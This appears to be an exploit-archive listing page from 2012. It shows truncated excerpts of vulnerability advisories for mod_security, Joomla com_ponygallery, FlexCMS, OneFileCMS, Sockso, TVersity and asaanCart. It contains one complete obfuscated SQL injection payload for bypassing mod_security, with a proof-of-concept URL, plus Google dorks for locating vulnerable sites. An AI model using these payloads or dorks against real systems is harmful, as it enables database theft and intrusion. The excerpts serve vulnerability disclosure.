# Exploit Title: mod_security 2.6.5 SQL injection bypass. # Date: 21/04/2012 # Author: Phizo # Software Link: http://www.modsecurity.org/ # Version: 2.6.5 # Tested on: Windows 7 & Ubuntu 10.04 —————————————————————- /** Although I am using union-based injection the concept of the bypass is the same **/ [+] Bypass: +/*!/**/uNiOn/**/*/+/**/+/**/+/*!/**/seLeCt/**/*/+1,2,3,/*!/**/cOnCaT/**/*/(/*!table_name*/),6,7,8,9,10+/**/FROM/**/+/*!/**/information_schema/**/*//*!.+tables*/# [+] PoC: http://victim/page.php?id=12+/*!/**/uNiOn/**/*/+/**/+/**/+/*!/**/seLeCt/**/*/+1,2,3,/*!/**/cOnCaT/**/*/(/*!table_name*/),6,7,8,9,10+/**/FROM/**/+/*!/**/information_schema/**/*//*!.+tables*/# Incoming search terms:mod_security [...]

# Exploit Title: Division by zero page.php SQL Injection # Date: 16-April-2012 # Author: Xr0b0t # Software Link: # Version: – # Category:: [Webapps] # Google dork: Division by zero # Tested on: Windows 7 # Demo site: http://create-boutique.co.uk/index.php?page=4 [ bug ] code php : <?php session_start(); include_once(‘includes/db.inc.php’); include_once(‘includes/functions.inc.php’); include_once(‘includes/global.inc.php’); $db = new db(); $mainpages [...]

################################################## # Exploit Title: joomla component (com_ponygallery) SQL injection Vulnerability # Download : http://www.adyawinsa.com/index.php/remository?func=fileinfo&id=2 # Date: 11/04/2012 # Author: xDarkSton3x # E-mail : xdarkston3x@msn.com # Category: webapps # Google dork: inurl:”com_ponygallery” ################################################## [~]Exploit/p0c : http://www.site.com/index.php?option=com_ponygallery&Itemid=[sqli] Greetz [ Rs4 - B4nz0k - FailRoot - FailSoft - W4rn1ng] – [ Malandrines Team - DiosdelaRed - RemoteExecution ] [...]

#Software vendor: http://www.flexcms.com/flex/index.html The Persistent XSS appears when any user go to >> edit profile >> Display name >> and then injects the xss code instead of his display name. After inkection this code. In the main page of the webiste, there is “Users Online” menu. This menu is  by default in every page of [...]

# Exploit Title: OneFileCMS v.1.1.5 Local File Inclusion Vulnerability # Google Dork: – # Date: 16/03/2012 # Author: mr.pr0n (@_pr0n_) # Homepage: http://ghostinthelab.wordpress.com/ – http://s3cure.gr # Software Link: https://github.com/rocktronica/OneFileCMS # Version: OneFileCMS v.1.1.5 # Tested on: Linux Fedora 14 =============== Description =============== OneFileCMS is just that. It’s a flat, light, one file CMS (Content Management [...]

####################################################################### Luigi Auriemma Application:  Sockso http://sockso.pu-gh.com Versions:     <= 1.5 Platforms:    Windows, Mac, Linux Bug:          directory traversal Exploitation: remote Date:         14 Mar 2012 Author:       Luigi Auriemma e-mail: aluigi@autistici.org web:    aluigi.org ####################################################################### 1) Introduction 2) Bug 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== From author’s homepage: “Sockso is a free, open-source, personal music host [...]

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /’ \ __ /’__`\ /\ \__ /’__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /’ _ `\ \/\ \/_/_\_<_ /’___\ \ \/\ \ \ \ \/\`’__\ 0 0 \ \ \/\ \/\ \ \ \ [...]

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /’ \ __ /’__`\ /\ \__ /’__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /’ _ `\ \/\ \/_/_\_<_ /’___\ \ \/\ \ \ \ \/\`’__\ 0 0 \ \ \/\ \/\ \ \ \ [...]

______________________________________________________________________________________ # Exploit Title :[asaanCart XSS/LFI Vulnerabilities] # Google Dork   :[intext:"smarty_ajax — AJAX-enabled Smarty plugins"]Or[inurl:"/smarty_ajax/"] # Date          :[14/03/2012] # Author        :[Number 7]~ Twitter:[@TunisianSeven] ~ Blog   :[http://tunisianseven.blogspot.com/] # Tested on     :[Linux] # Software Link :[http://asaancart.wordpress.com/] # Download2     :[http://sourceforge.net/projects/asaancart/] # Version:      :[v-0.9] ______________________________________________________________________________________ The bug is based on smarty_ajax plugin which is included in this script and [...]

####################################################################### Luigi Auriemma Application:  TVersity http://tversity.com Versions:     <= 1.9.7 Platforms:    Windows Bug:          arbitrary files downloading Exploitation: remote Date:         14 Mar 2012 Author:       Luigi Auriemma e-mail: aluigi@autistici.org web:    aluigi.org ####################################################################### 1) Introduction 2) Bug 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== TVersity is an home media server. ####################################################################### ====== 2) Bug ====== Possibility [...]